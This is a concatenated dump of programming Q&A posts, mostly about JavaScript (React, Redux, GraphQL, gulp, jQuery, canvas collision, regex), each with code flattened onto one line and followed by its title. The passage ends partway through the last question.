InAppBrowser does not work with _system param "JS : I am looking to implement an O ( 1 ) lookup for binary quadkeys I know that there is no true hashtable for javascript , instead using objects and o ( 1 ) lookup with their properties , but the issue there is that the keys are always converted to strings.I suspect to have over a 10 million entries in memory , and if I have to rely on keys being strings and with the average quadkey string being 11.5 characters that would equate to ( 10 million entries * 11.5 length * 2 bytes ) = 230,000,000 bytes or 230 MB.Compared to storing as int64 ( 10 million entries * 8 bytes ) = 80,000,000 bytes or 80 MBI know that int64 is n't supported natively with javascript , but there are libraries that can assist with that in terms of doing the bitwise operations i 'd want.Now , even though there exists libraries that can deal with int64 , they are ultimately objects that are not truly representing 8 bytes , so I believe I can not use any int64 library in a hashtable , instead I was considering using 2-deep hash table with two int32 . The first key would be the first 4 bytes , and the 2nd key being the last 4 bytes . It 's not as ideal as 1 operation lookup to find a value , but 2 operations which is still good enough.However , I feel this is not worth it if all keys are stored as strings , or the fact that all numbers are double-precision floating-point format numbers ( 8 bytes ) so it each hash entry would then take up 16 bytes ( two `` int32 '' numbers ) .My questions are : 1 . If you store a number as the key to a property , will it take up 8 bytes of memory or will it convert to string and take up length*2bytes ? Is there a way to encode binary quadkeys into the double-precisionfloating-point format number standard that javascript has adopted , even if the number makes no sense , the underlying bits serve apurpose ( unique identification of a construct ) .PS : I am marking this with nodejs as there may exist libraries that could assist in my end goalEdit 1 : Seems 1 is possible with Map ( ) and node 0.12.x+As far as number 2 I was able to use a int64 lib ( bytebuffer ) and convert a 64int to a buffer.I wanted to just use the buffer as the key to Map ( ) but it would not let me as the buffer was internally an object , which each instance acts as a new key to Map ( ) .So I considered turning the buffer back into native type , a 64bit double.Using readDoubleBE I read the buffer as a double , which represents my 64int binary and successfully lets me use it in a map and allows for O ( 1 ) lookup . The code is sloppy and there are probably shortcuts I am missing , so any suggestions/hints are welcomed.Ideally I wanted to take advantage of bytebuffer 's varints so that I can have even more savings with memory but I was n't sure if that is possible in a Map , because I was n't able to use a buffer as a key.Edit 2 : Using memwatch-next I was able to see that max heap size was 497962856 bytes with this method with Set ( ) whereas using a string in Set ( ) was 1111082864 bytes . That is about 500MB vs 1GB , which is a far cry from 80mb and 230mb , not sure where the extra memory use is coming from . It 's worth nothing for these memory tests I used Set over Map that way it should only store unique keys in the data structure . ( Using Set as just a existence checker , where Map would serve as a lookup ) var ByteBuffer = require ( `` bytebuffer '' ) ; var lookup = new Map ( ) ; var startStr = `` 123123738232777 '' ; for ( var i = 1 ; i < = 100000 ; i++ ) { var longStr = startStr + i.toString ( ) ; var longVal = new ByteBuffer.Long.fromValue ( longStr ) ; var buffer = new ByteBuffer ( ) .writeUint64 ( longVal ) .flip ( ) .toBuffer ( ) ; var doubleRepresentation = buffer.readDoubleBE ( ) ; lookup.set ( doubleRepresentation , longStr ) ; } console.log ( exists ( `` 12312373823277744234 '' ) ) ; // trueconsole.log ( exists ( `` 123123738232777442341232332322 '' ) ) ; // falsefunction exists ( longStr ) { var longVal = new ByteBuffer.Long.fromValue ( longStr ) ; var doubleRepresentation = new ByteBuffer ( ) .writeUint64 ( longVal ) .flip ( ) .toBuffer ( ) .readDoubleBE ( ) ; return lookup.has ( doubleRepresentation ) ; }",Hashtable with 64-bit integers "JS : An article I was reading gives this as an example of an impure function ( in JavaScript ) : That struck me as a bit of an odd example , since tipPercentage is a constant with an immutable value . Common examples of pure functions allow dependence on immutable constants when those constants are functions.In the above example , correct me if I 'm wrong , calculateTip would usually be categorised as a pure function.So , my question is : In functional programming , is a function still considered pure if it relies on an externally defined constant with an immutable value , when that value is not a function ? const tipPercentage = 0.15 ; const calculateTip = cost = > cost * tipPercentage ; const mul = ( x , y ) = > x * yconst calculateTip = ( cost , tipPercentage ) = > mul ( cost , tipPercentage ) ;",Can a pure function depend on an external constant ? JS : So I 'm using Google code prettify with AnchorCMS . All other languages but HTML work . This is what I 'm trying to use . But I think that the editor is interpreting the HTML within the < pre > tags and that 's why Its not working . Here 's what happens when I try to show the above code . And there 's this example that I used < pre class= '' prettyprint lang-js '' > on . I 'm not really sure what to do now . Any ideas ? Also sorry for the direct link to my website . I would n't of been able to show it on JSFiddle < pre class= '' prettyprint lang-html '' > < ! DOCTYPE html > < /pre >,HTML wo n't render code block "JS : I 'm trying to write a function that takes two overlapping rectangles and returns an array of rectangles that cover the area of rectangle A , but exclude area of rectangle B. I 'm having a hard time figuring out what this algorithm looks like as the number of possible collisions is huge and difficult to account for.tl ; dr I 'm trying to clip a rectangle using another rectangle resulting in a collection of rectangles covering the remaining area.Note that the possible overlap patterns is double that shown because rectangle A and B could be ether rectangle in any of the overlap patterns above . | -- -- -- -- -- -- -| | -- -- -- -- -- -- -||A | |R1 || | -- -- -- -| -- -- | | -- -- -| -- -- -- -|| |B | | To |R2 || | | | ==== > | || | | | | || -- -- -| -- -- -- -| | | -- -- -| | | | -- -- -- -- -- -- |POSSIBLE OVERLAP PATTERNS| -- -- -| | -- -- -| | -- -- -| | -- -- -|| | -- -|-| |-| -- -| | | |-| | | |-| ||-| -- -| | | | -- -|-| |-|-|-| | |-| | | -- -- -| | -- -- -| |-| | -- -- -| |-| | -- -- -| | -- -- -||-|-|-| | | -- -|-| |-| -- -| || |-| | | | -- -|-| |-| -- -| || -- -- -| | -- -- -| | -- -- -|",Clipping a Rectangle in JavaScript "JS : This should be easy ... I am trying to create a notification that the del is done.Del = https : //www.npmjs.com/package/delNotify = https : //www.npmjs.com/package/gulp-notifyI have : That clears everything in the distFolder before it gets rebuilt.What I am trying to do is something like below : The above returns an error - `` TypeError : del ( ... ) .pipe is not a function '' gulp.task ( 'clean ' , function ( ) { return del ( [ 'distFolder ' ] ) ; } ) ; gulp.task ( 'clean ' , function ( ) { return del ( [ 'distFolder ' ] ) .pipe ( notify ( 'Clean task finished ' ) ) ; } ) ;",How to using Gulp plugin notify with del ? "JS : I 'm working on an HTML Canvas demo to learn more about circle to circle collision detection and response . I believe that the detection code is correct but the response math is not quite there.The demo has been implemented using TypeScript , which is a typed superset of JavaScript that is transpiled to plain JavaScript.I believe that the problem exists within the checkCollision method of the Circle class , specifically the math for calculating the new velocity.The blue circle position is controlled by the mouse ( using an event listener ) . If the red circle collides from the right side of the blue circle , the collision response seems to work correctly , but if it approaches from the left it does not respond correctly.I am looking for some guidance on how I can revise the checkCollision math to correctly handle the collision from any angle.Here is a CodePen for a live demo and dev environment : CodePen class DemoCanvas { canvasWidth : number = 500 ; canvasHeight : number = 500 ; canvas : HTMLCanvasElement = document.createElement ( 'canvas ' ) ; constructor ( ) { this.canvas.width = this.canvasWidth ; this.canvas.height = this.canvasHeight ; this.canvas.style.border = '1px solid black ' ; this.canvas.style.position = 'absolute ' ; this.canvas.style.left = '50 % ' ; this.canvas.style.top = '50 % ' ; this.canvas.style.transform = 'translate ( -50 % , -50 % ) ' ; document.body.appendChild ( this.canvas ) ; } clear ( ) { this.canvas.getContext ( '2d ' ) .clearRect ( 0 , 0 , this.canvas.width , this.canvas.height ) ; } getContext ( ) : CanvasRenderingContext2D { return this.canvas.getContext ( '2d ' ) ; } getWidth ( ) : number { return this.canvasWidth ; } getHeight ( ) : number { return this.canvasHeight ; } getTop ( ) : number { return this.canvas.getBoundingClientRect ( ) .top ; } getRight ( ) : number { return this.canvas.getBoundingClientRect ( ) .right ; } getBottom ( ) : number { return this.canvas.getBoundingClientRect ( ) .bottom ; } getLeft ( ) : number { return this.canvas.getBoundingClientRect ( ) .left ; } } class Circle { x : number ; y : number ; xVelocity : number ; yVelocity : number ; radius : number ; color : string ; canvas : DemoCanvas ; context : CanvasRenderingContext2D ; constructor ( x : number , y : number , xVelocity : number , yVelocity : number , color : string , gameCanvas : DemoCanvas ) { this.radius = 20 ; this.x = x ; this.y = y ; this.xVelocity = xVelocity ; this.yVelocity = yVelocity ; this.color = color ; this.canvas = gameCanvas ; this.context = this.canvas.getContext ( ) ; } public draw ( ) : void { this.context.fillStyle = this.color ; this.context.beginPath ( ) ; this.context.arc ( this.x , this.y , this.radius , 0 , 2 * Math.PI ) ; this.context.fill ( ) ; } public move ( ) : void { this.x += this.xVelocity ; this.y += this.yVelocity ; } checkWallCollision ( gameCanvas : DemoCanvas ) : void { let top = 0 ; let right = 500 ; let bottom = 500 ; let left = 0 ; if ( this.y < top + this.radius ) { this.y = top + this.radius ; this.yVelocity *= -1 ; } if ( this.x > right - this.radius ) { this.x = right - this.radius ; this.xVelocity *= -1 ; } if ( this.y > bottom - this.radius ) { this.y = bottom - this.radius ; this.yVelocity *= -1 ; } if ( this.x < left + this.radius ) { this.x = left + this.radius ; this.xVelocity *= -1 ; } } checkCollision ( x1 : number , y1 : number , r1 : number , x2 : number , y2 : number , r2 : number ) { let distance : number = Math.abs ( ( x1 - x2 ) * ( x1 - x2 ) + ( y1 - y2 ) * ( y1 - y2 ) ) ; // Detect collision if ( distance < ( r1 + r2 ) * ( r1 + r2 ) ) { // Respond to collision let newVelocityX1 = ( circle1.xVelocity + circle2.xVelocity ) / 2 ; let newVelocityY1 = ( circle1.yVelocity + circle1.yVelocity ) / 2 ; circle1.x = circle1.x + newVelocityX1 ; circle1.y = circle1.y + newVelocityY1 ; circle1.xVelocity = newVelocityX1 ; circle1.yVelocity = newVelocityY1 ; } } } let demoCanvas = new DemoCanvas ( ) ; let circle1 : Circle = new Circle ( 250 , 250 , 5 , 5 , `` # F77 '' , demoCanvas ) ; let circle2 : Circle = new Circle ( 250 , 540 , 5 , 5 , `` # 7FF '' , demoCanvas ) ; addEventListener ( 'mousemove ' , function ( e ) { let mouseX = e.clientX - demoCanvas.getLeft ( ) ; let mouseY = e.clientY - demoCanvas.getTop ( ) ; circle2.x = mouseX ; circle2.y = mouseY ; } ) ; function loop ( ) { demoCanvas.clear ( ) ; circle1.draw ( ) ; circle2.draw ( ) ; circle1.move ( ) ; circle1.checkWallCollision ( demoCanvas ) ; circle2.checkWallCollision ( demoCanvas ) ; circle1.checkCollision ( circle1.x , circle1.y , circle1.radius , circle2.x , circle2.y , circle2.radius ) ; requestAnimationFrame ( loop ) ; } requestAnimationFrame ( loop ) ;",Circle to Circle Collision Response not working as Expected "JS : I am trying to number a list in order depending on how many divs I have.At the moment I am using some code to find the index of each of my divs , 1 , 2 , 3 , etc. , but what I really need is to have each div show 1A , 1B , 2A , and 2B , so that the number is duplicated and after the last number with the letter B , it moves on to the next number.Here is the code I am using for the example : HTML : SCRIPT : http : //jsfiddle.net/susannalarsen/xj8d14yb/1/ < div class= '' patch-cell '' > < div class= '' fader-number '' > test < /div > < /div > < div class= '' patch-cell '' > < div class= '' fader-number '' > test < /div > < /div > < div class= '' patch-cell '' > < div class= '' fader-number '' > test < /div > < /div > < div class= '' patch-cell '' > < div class= '' fader-number '' > test < /div > < /div > < div class= '' patch-cell '' > < div class= '' fader-number '' > test < /div > < /div > < ! -- example of how I want it to look -- - > < div class= '' patch-cell-test '' > < div class= '' fader-number '' > Example 1 A < /div > < /div > < div class= '' patch-cell-test '' > < div class= '' fader-number '' > Example 1 B < /div > < /div > < div class= '' patch-cell-test '' > < div class= '' fader-number '' > Example 2 A < /div > < /div > < div class= '' patch-cell-test '' > < div class= '' fader-number '' > Example 2 B < /div > < /div > $ ( '.patch-cell ' ) .each ( function ( ) { $ ( this ) .find ( '.fader-number ' ) .append ( ' < span class= '' patching-numbering '' > ' + ( $ ( this ) .index ( ) +1 ) + `` < /span > '' ) ; } ) ;",How to number divs like a list but to duplicate each number and add an A and B to the end "JS : So , I started this new project with create-react-app ( it 's running react v.16.13.1 ) .I rewrote the base App component as a class , and I found that when the component is a function , like this : the browser console prints out Great , thanks ! But if the same App component is written asconsole writes function App ( ) { console.log ( 'App ( function ) ' ) ; return 'App ( function ) ' ; } App ( function ) class App extends React.Component { render ( ) { console.log ( 'App ( class ) ' ) ; return 'App ( class ) ' ; } } App ( class ) App ( class )","Functional component renders once , class component renders twice" "JS : I 'm running a nightmare.js script where where I 'm trying to take a screenshot of multiple elements on a page . The first element is captured just fine , but every other element that is below the fold is captured with a zero length . I am struggling to debug this issue . Any help would be incredibly appreciated.Basically this script walks through a page and selects all the elements on the page that match a selector . Then , using async it collects the responses and returns a buffer of objects . The issue is that the elements below the fold do not get screenshotted ( buffer length ends up at zero ) . I tried to wait ( ) and scroll to the element , but I have not had any success as of yet . import * as Nightmare from 'nightmare'import * as vo from 'vo'import * as async from 'async'import * as fs from 'fs'const urls : String [ ] = [ 'https : //yahoo.com/ ' ] Nightmare.action ( 'snap ' , function ( selector : String , done : Function ) { const self = this ; this.evaluate_now ( function ( selector ) { return Array.from ( document.querySelectorAll ( selector ) ) .map ( ( ele : Element ) = > { if ( ele ) { const rect = ele.getBoundingClientRect ( ) const r : Function = Math.round return { x : r ( rect.left ) , y : r ( rect.top ) , width : r ( rect.width ) , height : r ( rect.height ) } } } ) } , function ( err , clips ) { if ( err ) return done ( err ) if ( ! clips ) return done ( new Error ( ` Selector not found ` ) ) let snaps = [ ] const snap = ( clip , cb ) = > { self .scrollTo ( clip.y - clip.height , clip.x ) .screenshot ( clip , cb ) .run ( ) } async.mapSeries ( clips.reverse ( ) , snap , ( err , res ) = > { done ( err , res ) } ) } , selector ) } ) const scrape = ( url ) = > { const nightmare = Nightmare ( { show : true } ) ; nightmare .goto ( url ) .snap ( '.navbar ' ) .end ( ) .then ( ( buffers : Buffer [ ] ) = > { buffers.forEach ( ( data , index ) = > { fs.writeFileSync ( ` images/navbar- $ { index } .png ` , data ) } ) } ) } urls.forEach ( scrape )",Nightmare.js screenshot buffer length 0 "JS : I 'm just working on writing some random puzzles on codewars.com and am curious if anyone can think of a way to eval code after the following code has been run : This is in node.js , so setTimeout ( `` string '' ) does n't work . eval = function ( ) { } ; delete Function.prototype.constructor ; Function = undefined ; // the following are to block require ( 'vm ' ) -- if anyone wants to run this// in production it may be better to block that one module ( others ? ) require = undefined ; module.__proto__.require = undefined ; // added this due to alexpod 's answer , modified due to Fabrício Matté 's : ) module.constructor = undefined ; // added this due to alexpod 's answer",Block eval & & new Function "JS : BackgroundI have a long list of models and views made with backbone.js - but not all users will open all views.I use require.js to load JavaScripts files and templates . What I have nowI have a router that knows about all views . Since the router know this , all views , models and templates are therefore loaded at startup - this also loads randomly visited views . ProblemHow can I use require.js to load the JavaScripts when needed ? Not in the initial startup , but when user first opens a view.UPDATEI can now get this working as commented in answer below.In router I have a require per route : require ( [ `` yourmodule '' ] , function ( MyModule ) { // ... } )",How to load scripts first when needed with require.js ? "JS : Onclick of a button I want to play 4 audio 's , three audios from the siblings ID and final one from the clicked ID . Please help me resolve the issue . I have changed the code however the audio is still not playing in sequence . Last audio plays first following by 2nd and 3rd without enough gap between audios . $ ( document ) .on ( 'click ' , '.phonics_tab .audioSmImg_learn ' , function ( ) { var PID = ' # ' + $ ( this ) .parents ( '.phonics_tab ' ) .attr ( 'id ' ) ; audioFileName = 'audio/ ' + $ ( this ) .attr ( 'id ' ) + '.mp3 ' ; var audioElmnt = { } ; var audioFileName1 = { } ; $ ( PID + ' .word_box_item ' ) .each ( function ( inx , i ) { if ( inx > = 1 ) { audioElmnt [ inx - 1 ] .pause ( ) ; audioElmnt [ inx - 1 ] .currentTime = 0 ; } audioElmnt [ inx ] = document.createElement ( 'audio ' ) ; audioElmnt [ inx ] .setAttribute ( 'autoplay ' , 'false ' ) ; audioFileName1 [ inx ] = 'audio/ ' + $ ( this ) .children ( 'h2 ' ) .attr ( 'id ' ) + '.mp3 ' ; audioElmnt [ inx ] .setAttribute ( 'src ' , audioFileName1 [ inx ] ) ; audioElmnt [ inx ] .load ( ) ; //in previous code your inx only run for the last item . playAudio ( audioElmnt [ inx ] , 300 ) ; // here the object will be sent to the function and will be used inside the timer . } ) ; function playAudio ( audioElmnt , delay ) { setTimeout ( function ( ) { audioElmnt.play ( ) ; } , delay ) ; } setTimeout ( function ( ) { audioElement.currentTime = 0 ; audioElement.pause ( ) ; audioElement.setAttribute ( 'src ' , audioFileName ) ; audioElement.load ( ) ; audioElement.play ( ) ; } , 500 ) ; } ) ;",How to loop through multiple audio files and play them sequentially using javascript ? JS : Given this code : I get this result : I have no idea how this could happen . I have tested in both Node.js ( v8 ) and Firefox browser . var reg = /a/g ; console.log ( reg.test ( `` a '' ) ) ; console.log ( reg.test ( `` a '' ) ) ; truefalse,Why does the `` g '' modifier give different results when test ( ) is called twice ? "JS : The thing that is messing me up is the AND ( & & ) . Shouldn ’ t the previous line of code return a boolean ? I know it doesn ’ t because I have tried it , and it returns an array.Could anybody explain what is happening here ? var array = props & & props.children.find ( ele = > ele & & ele.length ) ;",Why does the AND ( & & ) operator return an array instead of a boolean ? "JS : So , babel published version 6 which is drastically different . The sourcemaps are not coming out right ( clicking in the a js file does not in chrome developer does not lead me to the correct corresponding line in the es6 source file ) .Here is my gulpfile : Note that I am using babel 6 here . I have also tried this variation : `` use strict '' ; var gulp = require ( `` gulp '' ) , sourcemaps = require ( `` gulp-sourcemaps '' ) , babel = require ( `` gulp-babel '' ) , uglify = require ( 'gulp-uglify ' ) , rename = require ( 'gulp-rename ' ) ; var paths = [ 'dojo-utils ' , 'dom-utils/dom-utils ' , 'esri-utils/esri-utils ' , 'esri-utils/classes/EsriAuthManager/EsriAuthManager ' ] ; gulp.task ( `` default '' , function ( ) { paths.forEach ( function ( path ) { var pathArr = path.split ( `` / '' ) ; var parent = pathArr.slice ( 0 , pathArr.length - 1 ) .join ( '/ ' ) ; var file = pathArr [ pathArr.length - 1 ] ; var directory = `` ./ '' + ( parent ? parent + `` / '' : `` '' ) ; gulp.src ( directory + file + '.es6 ' ) .pipe ( sourcemaps.init ( ) ) .pipe ( babel ( { `` presets '' : [ `` es2015 '' ] , `` plugins '' : [ `` transform-es2015-modules-amd '' ] } ) ) //.pipe ( uglify ( ) ) .pipe ( rename ( file + '.js ' ) ) .pipe ( sourcemaps.write ( ' . ' ) ) .pipe ( gulp.dest ( directory ) ) ; } ) ; } ) ; gulp.src ( directory + file + '.es6 ' ) .pipe ( babel ( { `` presets '' : [ `` es2015 '' ] , `` plugins '' : [ `` transform-es2015-modules-amd '' ] , `` sourceMaps '' : `` both '' } ) ) .pipe ( rename ( file + '.js ' ) ) .pipe ( sourcemaps.init ( ) ) //.pipe ( uglify ( ) ) .pipe ( sourcemaps.write ( ' . ' ) ) .pipe ( gulp.dest ( directory ) ) ;",gulp-sourcemaps not working with babel 6 JS : Both in Actionscript3 and Javascript these statements give the same result : Seems that null value is converted into string `` null '' in this case.Is this a known bug in Ecmascript or am I missing something ? /\S/.test ( null ) = > true /null/.test ( null ) = > true /m/.test ( null ) = > false /n/.test ( null ) = > true,Is it a bug in Ecmascript - /\S/.test ( null ) returns true ? "JS : The problem : want to display a tooltip pointing to an element ( referenceEl ) from the left . The referenceEl is inside of a container with limited ( 60px ) width and overflow : hidden css props applied . The tooltip gets appended after its reference element , so they share the same container in the DOM . This results tooltip partially showing.Bootstrap 4 Tooltip api provides a container option , where one can specify 'body ' as an alternative container for the append point : http : //getbootstrap.com/docs/4.0/components/tooltips/ # options How do i achieve this feature in react material-ui @ beta ? material-ui version used : 1.0.0-beta.31tooltip reference : https : //material-ui-next.com/api/tooltip/ # tooltiptooltip demo page : https : //material-ui-next.com/demos/tooltips/ # tooltipsbootstrap tooltip implementation part : https : //github.com/twbs/bootstrap/blob/v4-dev/js/src/tooltip.js # L277-L283mui tooltip render part : https : //github.com/mui-org/material-ui/blob/v1-beta/src/Tooltip/Tooltip.js # L305-L360Example code : < Tooltip id= '' contacts-tooltip '' title= { 'contacts ' } placement= { 'right ' } enterDelay= { 300 } leaveDelay= { 300 } > < ListItem button component= { NavLink } to= { '/contacts ' } onClick= { toggleDrawer ( false ) } className= { classes._listItem } activeClassName= { classes._activeListItem } > < ListItemIcon > < People classes= { { root : classes.iconRoot } } / > < /ListItemIcon > < ListItemText primary= { 'Contacts ' } / > < /ListItem > < /Tooltip >",Specify ` document.body ` as container element for material-ui Tooltip "JS : I have a table - let 's call it table 1 . When clicking on a row in table 1 another table is being displayed , let 's call this one table 2 . Table 2 displays data relevant to the clicked row in table 1 . Sometimes a vertical scroll needs to be displayed in table 2 and sometimes not -depends on the number of rows.Need to solve : there is an unwanted transition of the border when the scroll is not being displayed : . The idea for the solution : `` change margin-right '' according to conditions which show whether the scroll exits or not.Save the result of this condition into Redux prop : element.scrollHeight > element.clientHeight || element.scrollWidth > element.clientWidthThe problem : Trying to update the display/non-display of the scroll into redux prop from different React events such as componentDidMount , componentWillReceiveProps , CopmponentDidUpdate ( set state causes infinte loop here ) and from the click event.Tried to use forceUpdate ( ) after setting props into Redux as well . When console.log into the console in chrome ( F12 ) , the only result which is correlated correctly to the display/non display of the scrollbar is coming from within the componentDidUpdate and it does n't reflect in the redux prop ( isoverflown function returns true , redux this.props.scrollStatus and this.state.scrollStatus are false ) . Also do n't like the usage of document.getElementById for the div which contains the rows , because it breaks the manipulation of the dom from within the props and state , but did n't find a different solution for now.The F12 console when display the scroll bar : The F12 console when no scroll bar is displayed : .The rest of the code:1 ) action:2 ) reducer:3 ) Page.js ( please click on the picture to see the code ) export function setScrollStatus ( scrollStatus ) { return { type : 'SET_SCROLL_STATUS ' , scrollStatus : scrollStatus } ; } export function scrollStatus ( state = [ ] , action ) { switch ( action.type ) { case 'SET_SCROLL_STATUS ' : return action.scrollStatus ; default : return state ; } } import { setScrollStatus } from '../actions/relevantfilename ' ; function isOverflown ( element ) { return element.scrollHeight > element.clientHeight ||element.scrollWidth > element.clientWidth ; } class SportPage extends React.Component { constructor ( props ) { super ( props ) ; this.state = initialState ( props ) ; this.state = { scrolled : false , scrollStatus : false } ; componentDidUpdate ( ) { console.log ( `` 1 isoverflown bfr redux-this.props.setScrollStatus inside componentDidUpdate '' , isOverflown ( document.getElementById ( 'content ' ) ) ) ; //redux props this.props.setScrollStatus ( isOverflown ( document.getElementById ( 'content ' ) ) ) ; console.log ( `` 2 isoverflown aftr redux-this.props.setScrollStatus inside componentDidUpdate '' , isOverflown ( document.getElementById ( 'content ' ) ) ) ; //redux props this.props.scrollStatus ? console.log ( `` 3 this.props.scrollStatus true inside componentDidUpdate '' ) : console.log ( `` this.props.scrollStatus false inside componentDidUpdate '' ) ; console.log ( `` 4 state scrollstatus inside componentDidUpdate '' , this.state.scrollStatus ) } componentDidMount ( ) { console.log ( `` 3 isoverflown bfr set '' , isOverflown ( document.getElementById ( 'content ' ) ) ) ; this.props.setScrollStatus ( `` set inside didMount '' , isOverflown ( document.getElementById ( 'content ' ) ) ) ; console.log ( `` 4 isoverflown aftr set didMount '' , isOverflown ( document.getElementById ( 'content ' ) ) ) ; this.props.scrollStatus ? console.log ( `` scrollStatus true '' ) : console.log ( `` scrollStatus false '' ) ; console.log ( `` state scrollstatus inside didMount '' , this.state.scrollStatus ) } render ( ) { < div style= { { overflowY : 'scroll ' , overflowX : 'hidden ' , height : '50vh ' , border : 'none ' } } > { this.props.rowData.map ( ( row , index ) = > < div style= { { display : 'flex ' , flexWrap : 'wrap ' , border : '1px solid black ' } } onClick= { e = > { this.setState ( { selected : index , detailsDivVisible : true , scrolled : isOverflown ( document.getElementById ( 'content ' ) ) , scrollStatus : isOverflown ( document.getElementById ( 'content ' ) ) } , this.props.setScrollStatus ( isOverflown ( document.getElementById ( 'content ' ) ) ) , this.forceUpdate ( ) , console.log ( `` onclick this.state.scrollStatus '' , this.state.scrollStatus ) , console.log ( `` onclick pure funtion '' , isOverflown ( document.getElementById ( 'content ' ) ) ) ) ; const mapDispatchToProps = ( dispatch ) = > { return { setScrollStatus : function ( scrollStaus ) { dispatch ( setScrollStatus ( scrollStaus ) ) } , } ; } ; export default connect ( mapStateToProps , mapDispatchToProps ) ( Page ) ;",Update Redux prop/state following div onclick "JS : I 've created a GraphQLSchema with two fields , both using a resolve ( ) to get the data from a mongoDB.With that , the query ... ... results in : But I need a result structure like this ( content should be inside of article object ) : Expected resultFor me the problem are both async mongoDB resolves in my schema : UpdateIf I nest the content inside the article , I do get the error Can not read property 'collection ' of undefined { article ( id : `` Dn59y87PGhkJXpaiZ '' ) { title } , articleContent ( id : `` Dn59y87PGhkJXpaiZ '' ) { _id , content ( language : `` en '' ) , type } } { `` data '' : { `` article '' : { `` title '' : `` Sample Article '' } , `` articleContent '' : [ { `` _id '' : `` Kho2N8yip3uWj7Cib '' , `` content '' : `` group '' , `` type '' : `` group '' } , { `` _id '' : `` mFopAj4jQQuGAJoAH '' , `` content '' : `` paragraph '' , `` type '' : null } ] } } { `` data '' : { `` article '' : { `` title '' : `` Sample Article '' , `` content '' : [ { `` _id '' : `` Kho2N8yip3uWj7Cib '' , `` content '' : `` group '' , `` type '' : `` group '' } , { `` _id '' : `` mFopAj4jQQuGAJoAH '' , `` content '' : `` paragraph '' , `` type '' : null } ] } , } } export default new GraphQLSchema ( { query : new GraphQLObjectType ( { name : 'RootQueryType ' , fields : { article : { type : new GraphQLObjectType ( { name : 'article ' , fields : { title : { type : GraphQLString , resolve ( parent ) { return parent.title } } } } ) , args : { id : { type : new GraphQLNonNull ( GraphQLID ) } } , async resolve ( { db } , { id } ) { return db.collection ( 'content ' ) .findOne ( { _id : id } ) } } , articleContent : { type : new GraphQLList ( new GraphQLObjectType ( { name : 'articleContent ' , fields : { _id : { type : GraphQLID } , type : { type : GraphQLString } , content : { type : GraphQLString , args : { language : { type : new GraphQLNonNull ( GraphQLString ) } } , resolve ( parent , { language } , context ) { return parent.content [ language ] [ 0 ] .content } } } } ) ) , args : { id : { type : new GraphQLNonNull ( GraphQLID ) } } , async resolve ( { db } , { id } ) { return db.collection ( 'content ' ) .find ( { main : id } ) .toArray ( ) } } } } ) } ) export default new GraphQLSchema ( { query : new GraphQLObjectType ( { name : 'RootQueryType ' , fields : { article : { type : new GraphQLObjectType ( { name : 'article ' , fields : { title : { type : GraphQLString , resolve ( parent ) { return parent.title } } , articleContent : { type : new GraphQLList ( new GraphQLObjectType ( { name : 'articleContent ' , fields : { _id : { type : GraphQLID } , type : { type : GraphQLString } , content : { type : GraphQLString , args : { language : { type : new GraphQLNonNull ( GraphQLString ) } } , resolve ( parent , { language } , context ) { return parent.content [ language ] [ 0 ] .content } } } } ) ) , args : { id : { type : new GraphQLNonNull ( GraphQLID ) } } , async resolve ( { db } , { id } ) { // db is undefined here ! ! return db.collection ( 'content ' ) .find ( { main : id } ) .toArray ( ) } } } } ) , args : { id : { type : new GraphQLNonNull ( GraphQLID ) } } , async resolve ( { db } , { id } ) { return db.collection ( 'content ' ) .findOne ( { _id : id } ) } } } } ) } )",How to nest two graphQL queries in a schema ? "JS : What `` ugliness '' does the following solve ? There 's something I 'm not getting , and I 'd appreciate help understanding what it is.For example , by augmenting Function.prototype , we can make a method available to all functions : By augmenting Function.prototype with a method method , we no longer have to type the name of the prototype property . That bit of ugliness can now be hidden . Function.prototype.method = function ( name , func ) { this.prototype [ name ] = func ; return this ; } ;",Example from : `` Javascript - The Good Parts '' "JS : I have JSON data that I am searching through using filter : Now instead of specifying those conditions after return , I 've created a similar string ( because I want to have a list of pre-created search conditions ) then using eval ( ) so : This appears to work . However , I just want to confirm , is this its correct usage ? Are there any risks/issues in doing this ? I want to have the flexibility to do , any kind of search e.g . : That 's why I made a separate class to create that string . myJsonData.filter ( function ( entry ) { return ( entry.type === 'model ' || entry.type === 'photographer ' ) ; } ) ; myJsonData.filter ( function ( ) { return eval ( stringToSearch ) ; } ) ; myJsonData.filter ( function ( entry ) { return ( entry.type === 'model ' || entry.type === 'photographer ' ) & & entry.level.indexOf ( 'advanced ' ) > -1 ; } ) ;",JavaScript - Using eval ( ) for a condition - is it correct ? "JS : I just created a chrome extension using the omnibox api.I found out that it is not possible to use multible keywordsor let the user choose a keyword for my extension although the extension is listed on the search engines settings page : I addition to that the priority of the extension keyword is by far the lowest.If a User already defined a keyword in the Default search engines / Other search engines - sections the extension keyword is not usable . Does anyone know a solution for at least one of these issues ? Maybe by using the NPAPI ? `` omnibox '' : { `` keyword '' : `` a '' } ,",Let the user choose the keyword for my omnibox chrome extension "JS : I noticed a strange behavior regarding keydown event in Chrome.I have this simple script ( http : //jsfiddle.net/xYDbt/1/ ) : In Chrome , the event is not fired if the mouse is moved around with left click pressed.This happens only the first time after loading the page . Subsequent keypresses work correctly.I tested this in FF/Opera/IE and it 's not a problem.Is there a workaround for Chrome ? < div id= '' x '' > < /div > < script > document.onkeydown = function ( e ) { document.getElementById ( `` x '' ) .innerHTML += `` Hi '' ; } < /script >",keydown event not fired while mouse dragging in Chrome "JS : ES6 allows us to use a new import syntax . Using it , we can import modules into our code , or parts of those modules . Examples of usage include : But then , we also have this mystery : It looks as though ES6 supports a 'bare import ' , as this is a valid import statement . However , if this is done , it seems as though there 's no way to actually reference the module.How would we use this , and why ? import React from 'react ' ; // Import the default export from a module.import { Component , PropTypes } from 'react ' ; // Import named exports from a module.import * as Redux from 'react-redux ' ; // Named import - grab everything from the module and assign it to `` redux '' . import 'react ' ;","ES6 Bare Import : How to use , and when ?" JS : I want to get index of selectedclass between visible elements in jquery.I have tried these waysI want the number 3 for the example above : The index of the .selected element in the ul ignoring the elements that are n't visible . < ul > < li > element 01 < /li > < li style= '' display : none '' > element 02 < /li > < li style= '' display : none '' > element 03 < /li > < li style= '' display : none '' > element 04 < /li > < li > element 05 < /li > < li > element 06 < /li > < li class= '' selected '' > element 07 < /li > < li style= '' display : none '' > element 08 < /li > < /ul > console.log ( $ ( 'ul li.selected ' ) .index ( ) ) ; console.log ( $ ( 'ul li : visible.selected ' ) .index ( ) ) ;,Get index of visible element in jquery "JS : I know how to use multiple CSS selectors with jQuery , but how can I bind an event listener to multiple selectors when one of them is an object , the document or the window object for instance.The following does n't work : $ ( 'html , body ' , document ) .scroll ( function ( ) { if ( Screen.detectScroll ( ) === 'down ' ) { 